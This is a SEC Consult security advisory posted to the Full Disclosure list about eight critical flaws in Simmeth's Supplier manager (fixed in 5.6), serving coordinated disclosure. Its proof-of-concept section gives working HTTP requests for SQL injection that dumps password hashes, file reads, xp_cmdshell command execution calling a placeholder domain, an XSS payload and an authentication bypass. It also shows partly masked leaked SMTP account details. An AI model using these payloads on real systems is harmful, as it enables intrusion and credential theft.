Message-ID: <4b4b1125-45ab-08d6-bbc1-b98d2ece6199@sec-consult.com>
Date: Wed, 9 Nov 2022 16:18:46 +0000
From: "SEC Consult Vulnerability Lab,
 Research via Fulldisclosure" <fulldisclosure@...lists.org>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] SEC Consult SA-20221109-0 :: Multiple Critical Vulnerabilities
 in Simmeth System GmbH Supplier manager (Lieferantenmanager)

SEC Consult Vulnerability Lab Security Advisory < 20221109-0 >
=======================================================================
               title: Multiple Critical Vulnerabilities
             product: Simmeth System GmbH Supplier manager (Lieferantenmanager)
  vulnerable version: < 5.6
       fixed version: 5.6
          CVE number: CVE-2022-44012, CVE-2022-44013, CVE-2022-44014,
                      CVE-2022-44015, CVE-2022-44016, CVE-2022-44017
              impact: critical
            homepage: https://www.simmeth.net
               found: 2022-03-01
                  by: Steffen Robertz (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"We are an innovative B2B software provider for supply chain management,
especially in the areas of supplier management over the entire supplier
lifecycle and quality control, supply chain key figures and reporting.

Our medium-sized family business is a reliable, practice-oriented partner with
an extraordinary wealth of experience: since 2002, our currently more than 70
medium-sized and corporate customers have trusted our solutions and our
pragmatically oriented expertise."

Source: https://www.simmeth.net/en/company/about-us


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.

An in-depth security analysis performed by security professionals is
highly advised, to identify and resolve potential further critical security
issues.  


Vulnerability overview/description:
-----------------------------------
1) SQL Injection leading to Remote Code Execution (CVE-2022-44015)
An attacker can inject raw SQL queries. By activating MSSQL features, the
attacker is able to execute arbitrary commands on the MSSQL server.

2) Faulty API Design (CVE-2022-44014)
A faulty API design allows an attacker to fetch arbitrary SQL tables per
design. This will leak all user passwords and MSSQL hashes.

3) Local File Access (CVE-2022-44016)
An attacker can download arbitrary files from the web server by abusing an API
call.

4) Leak of Simmeth's SMTP password
A cleartext password for the email account "LM@...meth.net" is leaked during
the login process.

5) Stored Cross-Site Scripting (CVE-2022-44012)
An attacker can execute JavaScript code in the browser of the victim if a site
is loaded. The victim's encrypted password can be stolen and most likely be
decrypted.

6) Authentication Bypass (CVE-2022-44013)
An attacker can access multiple API calls without authentication. Thus, all
outlined attacks can be executed without knowing any valid credentials.

7) Errors in Session management (CVE-2022-44017)
Due to errors in the session management, an attacker can log back into a
victim's account after the victim logged out. This is due to the credentials not
being cleaned from the local storage after logout.

8) Information Disclosure
Multiple requests were giving verbose error messages. This helps an attacker in
finding and abusing a vulnerability.


Proof of concept:
-----------------
1) SQL Injection leading to Remote Code Execution (CVE-2022-44015)
Following API call can be used to execute arbitrary SQL queries via a subquery
or stacked query in the table name. Because of vulnerability 6, only a valid
username is required to send the request.

---------------------------------
POST /DS/LM_API/api/SelectionService/GetPaggedTab HTTP/1.1
Content-Length: 1264
[...]

{
   "Credential": {
     "Mandant": {
       "ConfigPath": "C:\\SSG\\50_Konfigurationen\\LM.xml",
       "ConnectionString": {
         "Available": false,
         "System": "****"
       },
       "Encryption": 1,
       "IsWithRegistration": true,
       "Name": "****"
     },
     "Username": "simmeth",
     "System": "****"
   },
   "ResultTab": {
     "AutoLoad": false,
     "Createable": true,
     "Databases": [
       {
         "System": "****",
         "Tables": [
           {
             "Columns": [],
             "Name": "(SELECT name, password_hash FROM master.sys.sql_logins)sub;--",
             "Relations": [],
             "Results": [
               {
                 "ColumnName": "*"
               }
             ]
           }
         ]
       }
     ],
     "Name": "Results",
     "PageSize": 2000
   },
   "Ids": {},
   "SecondaryIds": {},
   "Constraints": [],
   "DateConstraints": {},
   "LogicOperator": 0,
   "PageNumber": 0,
   "Sortings": {},
   "TableFilters": {},
   "GroupByField": null,
   "Aggregates": {},
   "isExport": false
}

-------------------
The POC above shows an example subquery, which will respond with the resulting
dataset. Stacked queries will be executed, however, the results will not be
contained in the web server's reply. The example query will dump the MSSQL password
hashes.

Further attacks include arbitrary file read with the following query:

(SELECT * FROM OPENROWSET(BULK N'c:/windows/system32/license.rtf', SINGLE_CLOB) AS Contents
)sub;--

And code execution via the xp_cmdshell extended procedure:

(SELECT @@Version AS version )sub; EXEC ('sp_configure ''show advanced options'', 1;
RECONFIGURE;'); EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;');EXEC xp_cmdshell
'nslookup some.domain';--


2) Faulty API Design (CVE-2022-44014)
The API design allows the frontend to supply an arbitrary table name
(called <TABLE NAME HERE> in the POC below) into the following request.
Because of vulnerability 6, only a valid username is required to send the
request.

---------------------------------
POST /DS/LM_API/api/SelectionService/GetPaggedTab HTTP/1.1
Content-Length: 1264
[...]

{
   "Credential": {
     "Mandant": {
       "ConfigPath": "C:\\SSG\\50_Konfigurationen\\LM.xml",
       "ConnectionString": {
         "Available": false,
         "System": "****"
       },
       "Encryption": 1,
       "IsWithRegistration": true,
       "Name": "****"
     },
     "Username": "simmeth",
     "System": "****"
   },
   "ResultTab": {
     "AutoLoad": false,
     "Createable": true,
     "Databases": [
       {
         "System": "****",
         "Tables": [
           {
             "Columns": [],
             "Name": "<TABLE NAME HERE>",
             "Relations": [],
             "Results": [
               {
                 "ColumnName": "*"
               }
             ]
           }
         ]
       }
     ],
     "Name": "Results",
     "PageSize": 2000
   },
   "Ids": {},
   "SecondaryIds": {},
   "Constraints": [],
   "DateConstraints": {},
   "LogicOperator": 0,
   "PageNumber": 0,
   "Sortings": {},
   "TableFilters": {},
   "GroupByField": null,
   "Aggregates": {},
   "isExport": false
}

-------------------

This is a fault by design, as the attacker has full control of the table
name. Therefore, an arbitrary table such as the user table
(ACL_Benutzer_Admin_Einkauf and ACL_Benutzer) can be read.


3) Local File Access (CVE-2022-44016)
The "GetImages" API call can be abused to read arbitrary files from the file
system. This is due to the API allowing to set the image path from the
frontend.

By pointing the base path to C:\, all files can be accessed.
Because of vulnerability 6, the request requires no credentials.

-----------------------
POST /DS/LM_API/api/ConfigurationService/GetImages HTTP/1.1
Content-Length: 229
[...]

{"Credential":{
"Mandant":{
"ConfigPath":"C:\\SSG\\50_Konfigurationen\\LM.xml"
},
},
"ImagesPath":"C:\\",
"ListImageNames":[
         "Windows\\win.ini",
         "boot.ini",
         "Windows\\system32\\eula.txt",
         "Windows\\System32\\drivers\\etc\\hosts"
]
}
--------------------
The files are returned base64 encoded. Thus, even binary data can be extracted
from the server.


4) Leak of Simmeth's SMTP password
The following API call will return the current configuration. The configuration
seems to contain cleartext credentials from Simmeth's SMTP server. The
request does not require any credentials.

-----------------
POST /DS/LM_API/api/ConfigurationService/GetConfiguration HTTP/1.1
Content-Length: 70
Content-Type: application/json


{
"Mandant":{"ConfigPath":"C:\\SSG\\50_Konfigurationen\\LM.xml",}
}
----------------

The server responds with:

---------------
[...]
"KPIIntro":{
"IsAccessLog":true,
"MailSettings":{
"Host":"vwp4261.webpack.hosteurope.de",
"IsAuthentification":true,
"IsSSL":false,
"LoginName":"wp10481666-supply",
"Password":"K***********a",
"Port":"25",
"Sender":"LM@...meth.net"
[...]
--------------
Thus, an attacker could send phishing mails from an official Simmeth account.


5) Stored Cross-Site Scripting (CVE-2022-44012)
The following request can be used to store JavaScript code into the database. It
will be fetched and executed in the victim's browser, once the site is visited.
Because of vulnerability 6, only a valid username is required to send the request.

--------------
POST /DS/LM_API/api/SelectionService/InsertQueryWithActiveRelationsReturnId HTTP/1.1
Content-Length: 3311

{"Credential":{"Mandant":{"ConfigPath":"C:\\SSG\\50_Konfigurationen\\LM.xml","ConnectionString
":{"Available":false,"System":"****"},"Encryption":1,"IsWithRegistration":true,"Name":"****"},
"Username":"********","System":"****"},"TabName":"Lieferzeiten","System":"****","TableName"
:"Lieferzeiten","Columns":{"Artikel":"test","Lieferzeit":"test1","Bemerkung":"<img src=x
onerror=alert(document.domain)>test","Lie_ID":4167},
[...]
---------------

The XSS can be used to steal the encrypted passwords from the local storage.
As the API uses cleartext passwords with every request, it is most likely
possible to exfiltrate the passwords in cleartext as well.


6) Authentication Bypass (CVE-2022-44013)
All API calls start by supplying the Credential Object.
----------------
"Credential": {
     "Mandant": {
       "ConfigPath": "C:\\SSG\\50_Konfigurationen\\LM.xml",
       "ConnectionString": {
         "Available": false,
         "System": "****"
       },
       "Encryption": 1,
       "IsWithRegistration": true,
       "Name": "****"
     },
     "Username": "simmeth",
     "Password: "*********"
     "System": "****"
   },

----------------
However, the password can just be removed. It seems to be only checked on the
login API call. Thus, all requests can be made with just a username. The tested
environment contained a User called "simmeth".
Most likely this is a default user and thus always available, lowering the
requirements for authenticated requests even further.


7) Errors in Session management (CVE-2022-44017)
An attacker can abuse a session management vulnerability in order to log back
into a user account after the user logged out.
The encrypted password and username saved in the local storage of the
web browser is not cleared on logout and always stays valid. Hence, only the state
of the frontend state changes and the user appears to be logged out.
An attacker can force the frontend state back into the logged in state by
visiting: https://<your-host>/LMS/LM/#main


8) Information Disclosure
The application replies with verbose error messages, when triggering
exceptions. This can help an attacker to gain knowledge about the backend and
aid in the development of exploits.
Entering e.g. a single apostrophe into the table name of vulnerability 2 will
cause the web server to print a full stack trace as well as the rest of the SQL
query. Hence, the SQL statement can easily be updated to execute properly.


Vulnerable / tested versions:
-----------------------------
The test was conducted in version 5.4 which was found to be vulnerable.


Vendor contact timeline:
------------------------
2022-04-01: Contacting vendor through info@...meth.net
2022-04-01: Simmeth requested to know in which customer's environment the
             vulnerabilities were discovered.
2022-04-04: SEC Consult's customer agreed to disclose their company name to Simmeth.
2022-04-04: Simmeth claims that a new version has been deployed on 18.03.2022 and already
             contains fixes. SEC Consult requests the version number of the fixed version.
2022-04-06: Simmeth communicates the fixed version numbers, advisory is being sent per
             unencrypted email.
2022-04-07: Simmeth will verify if all vulnerabilities are already fixed.
2022-04-20: Requested status. Vendor replies that our vulnerabilities are different/new
             and currently being fixed.
2022-04-25: Simmeth states that they will require two weeks to fix the vulnerabilities.
             A new API will be created until the end of the year.
2022-06-08: Simmeth sends changelog and states that all vulnerabilities have been fixed.
2022-06-13: Asking regarding CVE numbers, Simmeth states that patching customers will take
             until end of July.
2022-09-02: Asking about CVE numbers and if all customers are patched.
2022-09-05: Some customers are not yet patched. Current version is phased out by the
             end of september. All customers will have to upgrade until then. SEC Consult
             will request CVE numbers.
2022-10-05: Requested status update.
2022-10-17: All customers are updated.
2022-11-09: Coordinated release of security advisory.


Solution:
---------
The vendor provides a patched version 5.6 which fixes the identified
security issues. Please approach your vendor support contact in order to receive
the patches.


Workaround:
-----------
None


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF S. Robertz / @2022
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists